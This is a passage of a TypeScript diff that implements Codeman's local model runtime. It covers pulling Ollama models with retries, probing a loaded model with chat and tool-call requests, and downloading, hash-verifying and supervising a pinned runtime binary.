unknown|manifest\b.*\bnot found|model\b.*\bnot found/i.test(text)) { + return { kind: 'fatal', code: 'model-not-found', detail }; + } + if (/no space left on device|disk (is )?full|not enough (free )?(disk )?space/i.test(text)) { + return { kind: 'fatal', code: 'disk-full', detail }; + } + return { kind: 'retry', detail }; +} + +/** A wait that ends early when the signal aborts. */ +function waitFor(ms: number, signal?: AbortSignal): Promise<void> { + return new Promise((resolve) => { + if (signal?.aborted) return resolve(); + const done = (): void => { + clearTimeout(timer); + signal?.removeEventListener('abort', done); + resolve(); + }; + const timer = setTimeout(done, ms); + signal?.addEventListener('abort', done, { once: true }); + }); +} + +/** One `POST /api/pull`, read to its end. */ +async function pullOnce(target: OllamaTarget, modelId: string, options: PullOptions): Promise<PullAttempt> { + const { signal, onProgress } = options; + const now = options.now ?? Date.now; + const fetchFn = target.fetch ?? fetch; + let res: Response; + try { + res = await fetchFn(`${target.baseUrl}/api/pull`, { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify({ model: modelId, stream: true }), + ...(signal ? { signal } : {}), + }); + } catch (err) { + return signal?.aborted ? { kind: 'cancelled' } : { kind: 'retry', detail: errorText(err) }; + } + + const parser = createPullParser(); + // The speed is the bytes of the last few seconds: (when, how far) pairs, the oldest first. + const samples: { at: number; completed: number }[] = []; + let lastReport = Number.NEGATIVE_INFINITY; + const report = (force: boolean): void => { + if (!onProgress) return; + const at = now(); + if (!force && at - lastReport < PULL_PROGRESS_INTERVAL_MS) return; + const snap = parser.snapshot(); + // Before the first layer line there is no size to show. + if (snap.totalBytes <= 0) return; + lastReport = at; + samples.push({ at, completed: snap.completedBytes }); + while (samples.length > 2 && at - samples[1].at >= PULL_SPEED_WINDOW_MS) samples.shift(); + const first = samples[0]; + const seconds = (at - first.at) / 1000; + const moved = snap.completedBytes - first.completed; + try { + onProgress({ + completedBytes: snap.completedBytes, + totalBytes: snap.totalBytes, + ...(seconds > 0 && moved >= 0 ? { bytesPerSecond: Math.round(moved / seconds) } : {}), + }); + } catch { + // A display that fails must not fail the download. + } + }; + + let streamError: string | undefined; + try { + if (res.body) { + for await (const chunk of res.body as unknown as AsyncIterable<Uint8Array>) { + parser.push(chunk); + report(false); + } + } + } catch (err) { + streamError = errorText(err); + } + // An abort ends the stream with an error too: it is a cancel, not a cut. + if (signal?.aborted) return { kind: 'cancelled' }; + parser.end(); + const snap = parser.snapshot(); + + if (snap.error !== undefined) return classifyPullError(snap.error); + if (res.status !== 200) return classifyPullError(`The runtime answered ${res.status} to the pull`); + if (!snap.succeeded) { + return { kind: 'retry', detail: streamError ?? 'The download ended before the runtime reported success' }; + } + report(true); + if (snap.totalBytes > 0) return { kind: 'success', totalBytes: snap.totalBytes }; + // A pull of a model that was already complete may name no layer. The size is then what the + // runtime lists for the model, which is the same figure a full pull reports as its total. + const listed = (await listTags(target, signal)).find((model) => model.name === modelId); + return { kind: 'success', totalBytes: listed?.size ?? 0 }; +} + /** Pulls `modelId` and waits for the end. Resuming is calling it again. Never throws. */ export async function pullModel(target: OllamaTarget, modelId: string, options: PullOptions = {}): Promise<PullResult> { - return notImplemented('pullModel', target, modelId, options); + const { signal } = options; + const retries = + options.retries !== undefined && Number.isInteger(options.retries) && options.retries >= 0 + ? options.retries + : PULL_RETRIES; + const sleep = options.sleep ?? ((ms: number) => waitFor(ms, signal)); + let lastDetail: string | undefined; + for (let attempt = 0; attempt <= retries; attempt++) { + if (signal?.aborted) return { ok: false, code: 'cancelled' }; + if (attempt > 0) { + await sleep(PULL_RETRY_DELAY_MS * 2 ** (attempt - 1)); + if (signal?.aborted) return { ok: false, code: 'cancelled' }; + } + let outcome: PullAttempt; + try { + outcome = await pullOnce(target, modelId, options); + } catch (err) { + // Only an injected `fetch` or clock can throw here. It must not end the pull as a crash. + outcome = { kind: 'retry', detail: errorText(err) }; + } + if (outcome.kind === 'success') return { ok: true, totalBytes: outcome.totalBytes }; + if (outcome.kind === 'cancelled') return { ok: false, code: 'cancelled' }; + if (outcome.kind === 'fatal') return { ok: false, code: outcome.code, detail: outcome.detail }; + lastDetail = outcome.detail; + } + return { ok: false, code: 'pull-failed', ...(lastDetail !== undefined ? { detail: lastDetail } : {}) }; } // ---------- The check after the pull ---------- @@ -218,12 +615,53 @@ export interface LoadedModel { /** The body of the tiny chat that loads the model: one short user message, `reasoning_effort: "none"`, a small `max_tokens`. Pure. */ export function buildChatProbeRequest(modelId: string): Record<string, unknown> { - return notImplemented('buildChatProbeRequest', modelId); + return { + model: modelId, + messages: [{ role: 'user', content: 'Reply with the single word: ready' }], + reasoning_effort: 'none', + max_tokens: CHAT_PROBE_MAX_TOKENS, + temperature: 0, + stream: false, + }; +} + +/** A function tool of the tool probe, in the shape `/v1/chat/completions` takes. */ +function probeTool(name: string, description: string, properties: Record<string, string>): Record<string, unknown> { + return { + type: 'function', + function: { + name, + description, + parameters: { + type: 'object', + properties: Object.fromEntries( + Object.entries(properties).map(([key, about]) => [key, { type: 'string', description: about }]) + ), + required: Object.keys(properties), + }, + }, + }; } /** The body of the tool probe: a `tools` array, `reasoning_effort: "none"`, `max_tokens: TOOL_PROBE_MAX_TOKENS`. Pure. */ export function buildToolProbeRequest(modelId: string): Record<string, unknown> { - return notImplemented('buildToolProbeRequest', modelId); + return { + model: modelId, + messages: [ + { role: 'system', content: 'You are a coding agent. Use the tools you are given to do what the user asks.' }, + { role: 'user', content: 'Read the file README.md and tell me what it says.' }, + ], + // The three tools a coding agent always has. The task needs the first. + tools: [ + probeTool('read_file', 'Read a file and return its content.', { path: 'The path of the file.' }), + probeTool('write_file', 'Write a file.', { path: 'The path of the file.', content: 'The new content.' }), + probeTool('run_command', 'Run a shell command and return its output.', { command: 'The command line.' }), + ], + reasoning_effort: 'none', + max_tokens: TOOL_PROBE_MAX_TOKENS, + temperature: 0, + stream: false, + }; } /** @@ -237,13 +675,43 @@ export function judgeLoaded( modelId: string, context: number ): { ok: true; loaded: LoadedModel } | { ok: false; code: VerifyFailureCode; detail?: string } { - return notImplemented('judgeLoaded', models, modelId, context); + const model = models.find((entry) => entry.name === modelId); + if (!model) return { ok: false, code: 'load-failed', detail: 'The runtime does not list the model as loaded' }; + if (model.size <= 0) + return { ok: false, code: 'load-failed', detail: 'The runtime reports no size for the loaded model' }; + if (model.sizeVram !== model.size) { + return { + ok: false, + code: 'does-not-fit', + detail: `${model.sizeVram} of ${model.size} bytes are on the GPU`, + }; + } + if (model.contextLength !== context) { + return { + ok: false, + code: 'context-not-applied', + detail: `The runtime reports a context of ${model.contextLength} tokens, not ${context}`, + }; + } + return { ok: true, loaded: { context: model.contextLength, sizeBytes: model.size, sizeVramBytes: model.sizeVram } }; +} + +/** Whether the arguments of a tool call are a JSON object: as text that parses to one, or already as one. */ +function argumentsAreObject(value: unknown): boolean { + if (isRecord(value)) return true; + if (typeof value !== 'string') return false; + try { + return isRecord(JSON.parse(value)); + } catch { + return false; + } } /** * Judges the answer of the tool probe. Pure. `status` is the HTTP status, `body` the parsed * JSON (or `undefined` when it did not parse). - * - a tool call whose `arguments` parse as a JSON object: passed; + * - a tool call whose `arguments` parse as a JSON object: passed (when the answer holds + * several calls, every one must have a name and such arguments); * - `finish_reason` is `length`: `probe-unfinished` (the token limit ended it, so it proves nothing); * - any other answer of status 200: `no-tool-call`; * - another status: `load-failed`. @@ -252,7 +720,33 @@ export function judgeToolProbe( status: number, body: unknown ): { ok: true } | { ok: false; code: VerifyFailureCode; detail?: string } { - return notImplemented('judgeToolProbe', status, body); + if (status !== 200) { + const said = errorOfBody(body); + return { ok: false, code: 'load-failed', detail: clip(said ?? `The runtime answered ${status}`) }; + } + const choice = isRecord(body) && Array.isArray(body.choices) ? body.choices[0] : undefined; + const message = isRecord(choice) && isRecord(choice.message) ? choice.message : undefined; + const calls = message && Array.isArray(message.tool_calls) ? message.tool_calls : []; + if (calls.length > 0) { + const wellFormed = calls.every( + (call) => + isRecord(call) && + isRecord(call.function) && + asString(call.function.name) !== undefined && + argumentsAreObject(call.function.arguments) + ); + if (wellFormed) return { ok: true }; + return { ok: false, code: 'no-tool-call', detail: 'The model called a tool with arguments that are not JSON' }; + } + if (isRecord(choice) && choice.finish_reason === 'length') { + return { ok: false, code: 'probe-unfinished', detail: `The answer ended at ${TOOL_PROBE_MAX_TOKENS} tokens` }; + } + const said = message ? asString(message.content) : undefined; + return { + ok: false, + code: 'no-tool-call', + detail: said ? clip(`The model answered in text: ${said}`) : 'The answer holds no tool call', + }; } /** How the check ended. */ @@ -271,5 +765,44 @@ export async function verifyModel( context: number, signal?: AbortSignal ): Promise<VerifyResult> { - return notImplemented('verifyModel', target, modelId, context, signal); + const cancelled: VerifyResult = { ok: false, code: 'cancelled' }; + if (signal?.aborted) return cancelled; + + // 1. The chat that loads the model. Its text is not read: only that it was answered. + const chat = await ask( + target, + '/v1/chat/completions', + { method: 'POST', json: buildChatProbeRequest(modelId) }, + CHAT_PROBE_TIMEOUT_MS, + signal + ); + if (signal?.aborted) return cancelled; + if (!chat) return { ok: false, code: 'load-failed', detail: 'The runtime did not answer the first request' }; + if (chat.status !== 200) { + return { + ok: false, + code: 'load-failed', + detail: clip(errorOfBody(chat.body) ?? `The runtime answered ${chat.status}`), + }; + } + + // 2. What the runtime says it loaded. + const judged = judgeLoaded(await listRunning(target, signal), modelId, context); + if (signal?.aborted) return cancelled; + if (!judged.ok) return judged; + + // 3. One tool call. + const probe = await ask( + target, + '/v1/chat/completions', + { method: 'POST', json: buildToolProbeRequest(modelId) }, + TOOL_PROBE_TIMEOUT_MS, + signal + ); + if (signal?.aborted) return cancelled; + if (!probe) + return { ok: false, code: 'probe-unfinished', detail: 'The runtime did not answer the tool request in time' }; + const tool = judgeToolProbe(probe.status, probe.body); + if (!tool.ok) return tool; + return { ok: true, loaded: judged.loaded }; } diff --git a/src/local-model/runtime.ts b/src/local-model/runtime.ts index 1cc334f5..dd6b70f5 100644 --- a/src/local-model/runtime.ts +++ b/src/local-model/runtime.ts @@ -2,9 +2,6 @@ * @fileoverview The model runtime: which build Codeman runs, how it gets onto the disk, and * how it is kept running. * - * CONTRACT STAGE: `OLLAMA_RUNTIME_PIN` and the constants are final. Every function below has - * its final signature and a body that throws; the bodies are written next. - * * What this module does: * - THE PIN. `OLLAMA_RUNTIME_PIN` is a compiled constant. No file, setting, environment * variable or request can change the URL, the size or the hash. @@ -26,10 +23,13 @@ * - SUPERVISOR (`createRuntimeSupervisor()`). The runtime is a NON-detached child of the * server. `start()` first looks at the port: a listener that answers `/api/version` and * whose pid (`previousPid`) runs a binary under our runtime folder is our own orphan and is - * adopted or replaced; any other listener is the answer `port-in-use`. A child that exits by - * itself is restarted, at most `RUNTIME_MAX_RESTARTS` times in a row; `stop()` sends SIGTERM. - * The supervisor does not write the state file: it reports through `onChange`, and its - * caller stores the pid and the port. + * adopted or replaced; any other listener is the answer `port-in-use`. An orphan is ADOPTED + * only when keeping it keeps something: it answers the pinned version and has a model loaded + * at the wanted context. Otherwise it is REPLACED (SIGTERM, then a child of our own), which + * loses nothing and gives back what an orphan cannot: its log, so the measured budget, and + * its exit. A child that exits by itself is restarted, at most `RUNTIME_MAX_RESTARTS` times + * since the last `start()`; `stop()` sends SIGTERM. The supervisor does not write the state + * file: it reports through `onChange`, and its caller stores the pid and the port. * - BUDGET (`parseInferenceComputeTotal()`, pure). Right after it starts, the runtime prints * the device total in its log line "inference compute" (`total="37.4 GiB"`). The supervisor * reads the child's output for it and reports it as `measuredTotalBytes`. @@ -37,17 +37,19 @@ * asked, the models. Only inside `LocalModelPaths.root`. * * Under vitest nothing spawns and nothing is fetched unless a test injects it: the default - * `spawn` and `fetch` of the dependency objects refuse there. + * `spawn` and `fetch` of the dependency objects refuse there, the default `commandOfPid` + * knows no pid and the default `kill` signals nothing. */ -import type { ChildProcess, SpawnOptions } from 'node:child_process'; +import { execFile, spawn as nodeSpawn, type ChildProcess, type SpawnOptions } from 'node:child_process'; +import { createHash, type Hash } from 'node:crypto'; +import { createReadStream } from 'node:fs'; +import { lstat, mkdir, open, realpath, rename, rm, rmdir, stat, unlink } from 'node:fs/promises'; +import { createServer } from 'node:net'; +import { join, resolve as resolvePath } from 'node:path'; import type { LocalModelErrorCode, LocalModelRuntimePin } from '../types.js'; -import type { LocalModelPaths } from './paths.js'; - -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} +import { getRuntimeVersion, listRunning } from './ollama-client.js'; +import { isInsideLocalModelRoot, localModelPaths, type LocalModelPaths } from './paths.js'; // ---------- The pin and the constants ---------- @@ -74,8 +76,114 @@ export const RUNTIME_DOWNLOAD_RETRIES = 3; /** `OLLAMA_KEEP_ALIVE`: how long the model stays loaded after the last request. */ export const RUNTIME_KEEP_ALIVE = '10m'; +/** The name of the runtime's binary inside its folder and inside the archive. */ +const RUNTIME_BINARY_NAME = 'ollama'; +/** A download that delivers no byte for this long is treated as cut. */ +const DOWNLOAD_IDLE_TIMEOUT_MS = 60_000; +/** The first wait before a cut download is continued; it doubles with every retry. */ +const DOWNLOAD_RETRY_DELAY_MS = 500; +/** The least time between two progress reports of the download. */ +const DOWNLOAD_PROGRESS_INTERVAL_MS = 200; +/** How long `/usr/bin/tar` may take for the 579 MB of the runtime. */ +const UNTAR_TIMEOUT_MS = 180_000; +/** How long a started runtime has to answer `/api/version`. The first start on the test Mac took a few seconds. */ +const START_TIMEOUT_MS = 30_000; +/** The wait between two `/api/version` requests while the runtime starts. */ +const START_POLL_MS = 150; +/** How long `start()` waits for the budget line once the runtime answers. It is printed within a second. */ +const BUDGET_WAIT_MS = 3_000; +/** How long a runtime gets to exit after SIGTERM before it is sent SIGKILL. */ +const STOP_GRACE_MS = 5_000; +/** How long the exit is awaited after SIGKILL. */ +const STOP_KILL_WAIT_MS = 2_000; +/** The wait before a runtime that exited by itself is started again. */ +const RESTART_DELAY_MS = 1_000; +/** How often an adopted orphan is looked at: it is not our child, so its exit is not an event. */ +const ORPHAN_POLL_MS = 5_000; +/** How long `ps` may take. */ +const PS_TIMEOUT_MS = 2_000; +/** How many of the runtime's last log lines are kept for the detail of a failed start. */ +const LOG_TAIL_LINES = 12; +/** A log line longer than this is cut: the runtime logs request bodies in some modes. */ +const LOG_LINE_MAX_CHARS = 2_000; +/** How much of a failure text is kept as `detail`. */ +const MAX_DETAIL_CHARS = 600; + +const UNDER_VITEST = Boolean(process.env.VITEST); + +/** A default dependency that refuses under vitest: a test must inject its own. */ +class NotInjectedError extends Error { + constructor(what: string) { + super(`${what} is not available under vitest: the test must inject its own`); + this.name = 'NotInjectedError'; + } +} + +// ---------- Small helpers ---------- + +function clip(text: string): string { + const trimmed = text.trim(); + return trimmed.length > MAX_DETAIL_CHARS ? `${trimmed.slice(0, MAX_DETAIL_CHARS)}...` : trimmed; +} + +function errorText(err: unknown): string { + if (err instanceof Error) { + // undici wraps the reason ("fetch failed") and keeps the useful part in `cause`. + const cause = (err as { cause?: unknown }).cause; + return clip(cause instanceof Error && cause.message ? `${err.message}: ${cause.message}` : err.message); + } + return clip(String(err)); +} + +function errnoOf(err: unknown): string | undefined { + const code = (err as { code?: unknown } | null | undefined)?.code; + return typeof code === 'string' ? code : undefined; +} + +function isDiskFull(err: unknown): boolean { + const code = errnoOf(err); + return code === 'ENOSPC' || code === 'EDQUOT' || /no space left on device/i.test(errorText(err)); +} + +/** A wait on the real clock that does not keep the process alive. For grace periods, which an injected `sleep` must not shorten. */ +function pause(ms: number): Promise<void> { + return new Promise((resolve) => { + setTimeout(resolve, ms).unref(); + }); +} + +function realSleep(ms: number): Promise<void> { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +/** The size of a file, 0 when it is not there. */ +async function fileSize(path: string): Promise<number> { + try { + const info = await stat(path); + return info.isFile() ? info.size : 0; + } catch { + return 0; + } +} + +async function isFile(path: string): Promise<boolean> { + try { + return (await stat(path)).isFile(); + } catch { + return false; + } +} + // ---------- Pure ---------- +const BINARY_UNIT_BYTES: Record<string, number> = { + B: 1, + KiB: 1024, + MiB: 1024 ** 2, + GiB: 1024 ** 3, + TiB: 1024 ** 4, +}; + /** * The device total of the runtime's log line "inference compute", in bytes, or `undefined` * for any other line. The real line (a MacBook, 2026-11-06): @@ -83,11 +191,16 @@ export const RUNTIME_KEEP_ALIVE = '10m'; * `time=... level=INFO source=types.go:32 msg="inference compute" id=0 ... type=iGPU total="37.4 GiB" available="37.4 GiB"` * * reads 40,157,944,217 (37.4 x 1024^3, rounded down). The value is the quoted text after - * ` total=`: a number and a binary unit (`KiB`, `MiB`, `GiB`, `TiB`). `total_vram=` of the + * ` total=`: a number and a binary unit (`B`, `KiB`, `MiB`, `GiB`, `TiB`). `total_vram=` of the * line "vram-based default context" is not read. */ export function parseInferenceComputeTotal(line: string): number | undefined { - return notImplemented('parseInferenceComputeTotal', line); + if (!line.includes('msg="inference compute"')) return undefined; + // The key must stand alone: `total_vram=` and `subtotal=` are other keys. + const match = /(?:^|\s)total="(\d+(?:\.\d+)?) ?(B|KiB|MiB|GiB|TiB)"/.exec(line); + if (!match) return undefined; + const bytes = Math.floor(Number(match[1]) * BINARY_UNIT_BYTES[match[2]]); + return Number.isFinite(bytes) && bytes > 0 ? bytes : undefined; } /** What `runtimeEnv()` is built from. */ @@ -104,18 +217,58 @@ export interface RuntimeEnvInput { contextLength: number; } +/** The names copied from the server's environment when they are set. Everything else stays behind. */ +const RUNTIME_ENV_COPIED = [ + 'PATH', + 'TMPDIR', + 'LANG', + 'HTTP_PROXY', + 'HTTPS_PROXY', + 'NO_PROXY', + 'http_proxy', + 'https_proxy', + 'no_proxy', +] as const; + /** The environment of the runtime child: the allowlist of the file header, nothing more. Pure. */ export function runtimeEnv(input: RuntimeEnvInput): NodeJS.ProcessEnv { - return notImplemented('runtimeEnv', input); + const env: NodeJS.ProcessEnv = {}; + for (const name of RUNTIME_ENV_COPIED) { + const value = input.source[name]; + if (typeof value === 'string' && value !== '') env[name] = value; + } + env.HOME = input.home; + env.OLLAMA_HOST = `127.0.0.1:${input.port}`; + env.OLLAMA_MODELS = input.modelsDir; + env.OLLAMA_CONTEXT_LENGTH = String(input.contextLength); + env.OLLAMA_NO_CLOUD = '1'; + env.OLLAMA_KEEP_ALIVE = RUNTIME_KEEP_ALIVE; + env.OLLAMA_NUM_PARALLEL = '1'; + env.OLLAMA_MAX_LOADED_MODELS = '1'; + return env; +} + +/** A path without the `/private` macOS puts in front of `/var`, `/tmp` and `/etc`. */ +function withoutPrivatePrefix(path: string): string { + return path.startsWith('/private/') ? path.slice('/private'.length) : path; } /** * Whether `command` (one line of `ps -o command= -p <pid>`) is a process whose binary lies * under `runtimeRoot` (`LocalModelPaths.runtimeRoot`): our own runtime, so an orphan of an * earlier server. Pure. `/private` in front of a path is the same path on macOS. + * + * It tells our orphan from a runtime the user started, so that only ours is ever signalled. + * It is not a defence against another program of the same account, which can name itself + * anything. */ export function isOwnRuntimeCommand(command: string, runtimeRoot: string): boolean { - return notImplemented('isOwnRuntimeCommand', command, runtimeRoot); + const root = withoutPrivatePrefix(runtimeRoot.trim()).replace(/\/+$/, ''); + if (!root.startsWith('/') || root === '') return false; + const text = withoutPrivatePrefix(command.trimStart()); + if (!text.startsWith(`${root}/`)) return false; + // A `..` segment could lead out of the folder again. + return !/(?:^|\/)\.\.(?:\/|\s|$)/.test(text); } // ---------- Download and unpack ---------- @@ -147,6 +300,8 @@ export interface RuntimeInstallOptions { /** Called while the archive downloads, at most a few times a second. */ onProgress?: (progress: RuntimeDownloadProgress) => void; deps?: Partial<RuntimeInstallDeps>; + /** How long the download may deliver nothing before it counts as cut. Default one minute. */ + idleTimeoutMs?: number; } /** @@ -171,9 +326,278 @@ export type RuntimeInstallResult = } | { ok: false; code: 'cancelled' }; +/** A failure of `ensureRuntimeInstalled()`, without the success arm. */ +type RuntimeInstallFailure = Exclude<RuntimeInstallResult, { ok: true }>; + +const CANCELLED: RuntimeInstallFailure = { ok: false, code: 'cancelled' }; + +/** The default `fetch` of the download: the global one, refused under vitest. */ +const defaultFetch: typeof fetch = (input, init) => { + if (UNDER_VITEST) return Promise.reject(new NotInjectedError('fetch')); + return fetch(input, init); +}; + +/** The default `untar`: `/usr/bin/tar -xzf <archive> -C <intoDir>`, bounded. */ +function untarWithSystemTar(archive: string, intoDir: string, signal?: AbortSignal): Promise<void> { + return new Promise((resolve, reject) => { + execFile( + '/usr/bin/tar', + ['-xzf', archive, '-C', intoDir], + { timeout: UNTAR_TIMEOUT_MS, ...(signal ? { signal } : {}) }, + (err, _stdout, stderr) => { + if (!err) return resolve(); + const said = typeof stderr === 'string' && stderr.trim() !== '' ? stderr : err.message; + reject(new Error(clip(said))); + } + ); + }); +} + /** Whether the pinned runtime is unpacked on disk (its binary exists). Never throws. */ export async function isRuntimeInstalled(pin?: LocalModelRuntimePin, paths?: LocalModelPaths): Promise<boolean> { - return notImplemented('isRuntimeInstalled', pin, paths); + try { + const resolved = paths ?? localModelPaths((pin ?? OLLAMA_RUNTIME_PIN).version); + return await isFile(resolved.binary); + } catch { + return false; + } +} + +/** Feeds a file on disk into `hash`: the part of the archive an earlier run left behind. */ +async function hashFile(path: string, hash: Hash, signal?: AbortSignal): Promise<void> { + for await (const chunk of createReadStream(path, signal ? { signal } : {})) { + hash.update(chunk as Buffer); + } +} + +/** How one request for the archive ended. `detail` says why it must be asked again. */ +type DownloadAttempt = + | { kind: 'ended'; detail?: string } + | { kind: 'cancelled' } + | { kind: 'failed'; result: RuntimeInstallFailure }; + +/** + * Downloads the pinned archive to `paths.archivePartial` and proves its hash. On success the + * file is complete and verified; nothing was unpacked. Never throws. + */ +async function downloadArchive( + pin: LocalModelRuntimePin, + paths: LocalModelPaths, + deps: RuntimeInstallDeps, + options: RuntimeInstallOptions +): Promise<{ ok: true } | RuntimeInstallFailure> { + const { signal, onProgress } = options; + const idleTimeoutMs = options.idleTimeoutMs ?? DOWNLOAD_IDLE_TIMEOUT_MS; + const partial = paths.archivePartial; + + // What an earlier run left: continue after it. More than the whole archive cannot be it. + let offset = await fileSize(partial); + if (offset > pin.bytes) { + await rm(partial, { force: true }); + offset = 0; + } + let hash = createHash('sha256'); + if (offset > 0) await hashFile(partial, hash, signal); + + let lastReport = Number.NEGATIVE_INFINITY; + const report = (force: boolean): void => { + if (!onProgress) return; + const at = Date.now(); + if (!force && at - lastReport < DOWNLOAD_PROGRESS_INTERVAL_MS) return; + lastReport = at; + try { + onProgress({ completedBytes: offset, totalBytes: pin.bytes }); + } catch { + // A display that fails must not fail the download. + } + }; + + /** One request, written to the file as far as it gets. */ + const attempt = async (): Promise<DownloadAttempt> => { + const controller = new AbortController(); + const onAbort = (): void => controller.abort(); + signal?.addEventListener('abort', onAbort, { once: true }); + let idle: NodeJS.Timeout | undefined; + let wentIdle = false; + const armIdle = (): void => { + clearTimeout(idle); + idle = setTimeout(() => { + wentIdle = true; + controller.abort(); + }, idleTimeoutMs); + }; + // Opened BEFORE the request, in append mode: once the answer is there, nothing is awaited + // until its body is being read. A body that is cut while nobody reads it loses what had + // arrived, and the continuation would start further back than it has to. + const file = await open(partial, 'a', 0o600); + // The file is deleted after it is closed: a download that cannot be the pinned archive. + let unlinkAfter = false; + const startOver = async (): Promise<void> => { + await file.truncate(0); + offset = 0; + hash = createHash('sha256'); + }; + const damaged = (detail: string): DownloadAttempt => { + unlinkAfter = true; + return { kind: 'failed', result: { ok: false, code: 'runtime-damaged', detail } }; + }; + try { + armIdle(); + let res: Response; + try { + res = await deps.fetch(pin.url, { + ...(offset > 0 ? { headers: { range: `bytes=${offset}-` } } : {}), + signal: controller.signal, + redirect: 'follow', + }); + } catch (err) { + if (signal?.aborted) return { kind: 'cancelled' }; + if (err instanceof NotInjectedError) { + return { kind: 'failed', result: { ok: false, code: 'runtime-download-failed', detail: err.message } }; + } + return { kind: 'ended', detail: wentIdle ? 'The download server did not answer' : errorText(err) }; + } + + const discard = async (): Promise<void> => { + await res.body?.cancel().catch(() => undefined); + }; + // The size the server says the whole archive has, when it says one. + let declaredTotal: number | undefined; + // The whole archive from its first byte although a range was asked for: the file starts over. + let restart = false; + if (res.status === 206) { + const range = /^bytes (\d+)-\d+\/(\d+)$/.exec(res.headers.get('content-range') ?? ''); + // A 206 that does not start where the file ends cannot be appended to it. + if (!range || Number(range[1]) !== offset) { + await discard(); + await startOver(); + return { kind: 'ended', detail: 'The server answered another range than the one asked for' }; + } + declaredTotal = Number(range[2]); + } else if (res.status === 200) { + restart = offset > 0; + const length = res.headers.get('content-length'); + if (length !== null && !res.headers.get('content-encoding') && /^\d+$/.test(length)) { + declaredTotal = Number(length); + } + } else if (res.status === 416) { + // The file on disk is not a prefix of what the server has. + await discard(); + await startOver(); + return { kind: 'ended', detail: 'The server refused the range (HTTP 416)' }; + } else { + await discard(); + return { kind: 'ended', detail: `The download server answered HTTP ${res.status}` }; + } + if (declaredTotal !== undefined && declaredTotal !== pin.bytes) { + await discard(); + return damaged(`The download is ${declaredTotal} bytes, the pinned archive has ${pin.bytes}`); + } + if (!res.body) return { kind: 'ended', detail: 'The download server sent no body' }; + + try { + if (restart) await startOver(); + for await (const chunk of res.body as unknown as AsyncIterable<Uint8Array>) { + armIdle(); + // Refused before a byte of it is written: a longer body can never have the pinned hash. + if (offset + chunk.length > pin.bytes) { + return damaged(`The download is longer than the ${pin.bytes} bytes of the pinned archive`); + } + await file.appendFile(chunk); + hash.update(chunk); + offset += chunk.length; + report(false); + } + } catch (err) { + // Whatever was written past the last hashed byte is cut off, so file and hash agree. + await file.truncate(offset).catch(() => undefined); + if (signal?.aborted) return { kind: 'cancelled' }; + if (isDiskFull(err)) { + return { kind: 'failed', result: { ok: false, code: 'disk-full', detail: errorText(err) } }; + } + return { + kind: 'ended', + detail: wentIdle + ? `The download delivered nothing for ${Math.max(1, Math.round(idleTimeoutMs / 1000))} s` + : errorText(err), + }; + } + return { kind: 'ended' }; + } finally { + clearTimeout(idle); + signal?.removeEventListener('abort', onAbort); + await file.close().catch(() => undefined); + // An empty file is no start of a download either. + if (unlinkAfter || offset === 0) await rm(partial, { force: true }).catch(() => undefined); + } + }; + + // A download that continues says at once how far it already is. + if (offset > 0) report(true); + let failures = 0; + while (offset < pin.bytes) { + if (signal?.aborted) return CANCELLED; + const outcome = await attempt(); + report(true); + if (outcome.kind === 'cancelled') return CANCELLED; + if (outcome.kind === 'failed') return outcome.result; + if (offset >= pin.bytes) break; + // Cut, or ended early: continue from where the file ends, a bounded number of times. + failures += 1; + if (failures > RUNTIME_DOWNLOAD_RETRIES) { + return { + ok: false, + code: 'runtime-download-failed', + detail: outcome.detail ?? `The download ended at ${offset} of ${pin.bytes} bytes`, + }; + } + await deps.sleep(DOWNLOAD_RETRY_DELAY_MS * 2 ** (failures - 1)); + } + if (signal?.aborted) return CANCELLED; + + // The proof, BEFORE anything is unpacked. + const digest = hash.digest('hex'); + if (digest !== pin.sha256.toLowerCase()) { + await rm(partial, { force: true }); + return { + ok: false, + code: 'runtime-damaged', + detail: `The sha256 of the download is ${digest}, the pinned archive has ${pin.sha256}`, + }; + } + return { ok: true }; +} + +/** + * Unpacks the verified archive into the temporary folder and renames it to the runtime folder. + * Never throws. + */ +async function unpackArchive( + paths: LocalModelPaths, + deps: RuntimeInstallDeps, + signal?: AbortSignal +): Promise<{ ok: true } | RuntimeInstallFailure> { + const fail = async (err: unknown): Promise<RuntimeInstallFailure> => { + await rm(paths.unpackDir, { recursive: true, force: true }).catch(() => undefined); + if (signal?.aborted) return CANCELLED; + return { ok: false, code: isDiskFull(err) ? 'disk-full' : 'runtime-unpack-failed', detail: errorText(err) }; + }; + try { + await rm(paths.unpackDir, { recursive: true, force: true }); + await mkdir(paths.unpackDir, { recursive: true, mode: 0o700 }); + await deps.untar(paths.archivePartial, paths.unpackDir, signal); + if (signal?.aborted) return await fail(new Error('aborted')); + if (!(await isFile(join(paths.unpackDir, RUNTIME_BINARY_NAME)))) { + return await fail(new Error(`The archive holds no ${RUNTIME_BINARY_NAME} binary`)); + } + // A folder without its binary is a leftover of an unpack that was interrupted. + await rm(paths.runtimeDir, { recursive: true, force: true }); + await rename(paths.unpackDir, paths.runtimeDir); + await rm(paths.archivePartial, { force: true }); + return { ok: true }; + } catch (err) { + return fail(err); + } } /** @@ -182,7 +606,35 @@ export async function isRuntimeInstalled(pin?: LocalModelRuntimePin, paths?: Loc * again. Never throws: every outcome is a `RuntimeInstallResult`. */ export async function ensureRuntimeInstalled(options: RuntimeInstallOptions = {}): Promise<RuntimeInstallResult> { - return notImplemented('ensureRuntimeInstalled', options); + let phase: 'download' | 'unpack' = 'download'; + try { + const pin = options.pin ?? OLLAMA_RUNTIME_PIN; + const paths = options.paths ?? localModelPaths(pin.version); + const deps: RuntimeInstallDeps = { + fetch: options.deps?.fetch ?? defaultFetch, + untar: options.deps?.untar ?? untarWithSystemTar, + sleep: options.deps?.sleep ?? realSleep, + }; + if (await isFile(paths.binary)) return { ok: true, binaryPath: paths.binary, alreadyInstalled: true }; + if (options.signal?.aborted) return CANCELLED; + + await mkdir(paths.runtimeRoot, { recursive: true, mode: 0o700 }); + const downloaded = await downloadArchive(pin, paths, deps, options); + if (!downloaded.ok) return downloaded; + + phase = 'unpack'; + const unpacked = await unpackArchive(paths, deps, options.signal); + if (!unpacked.ok) return unpacked; + return { ok: true, binaryPath: paths.binary, alreadyInstalled: false }; + } catch (err) { + if (options.signal?.aborted) return CANCELLED; + if (isDiskFull(err)) return { ok: false, code: 'disk-full', detail: errorText(err) }; + return { + ok: false, + code: phase === 'download' ? 'runtime-download-failed' : 'runtime-unpack-failed', + detail: errorText(err), + }; + } } /** What 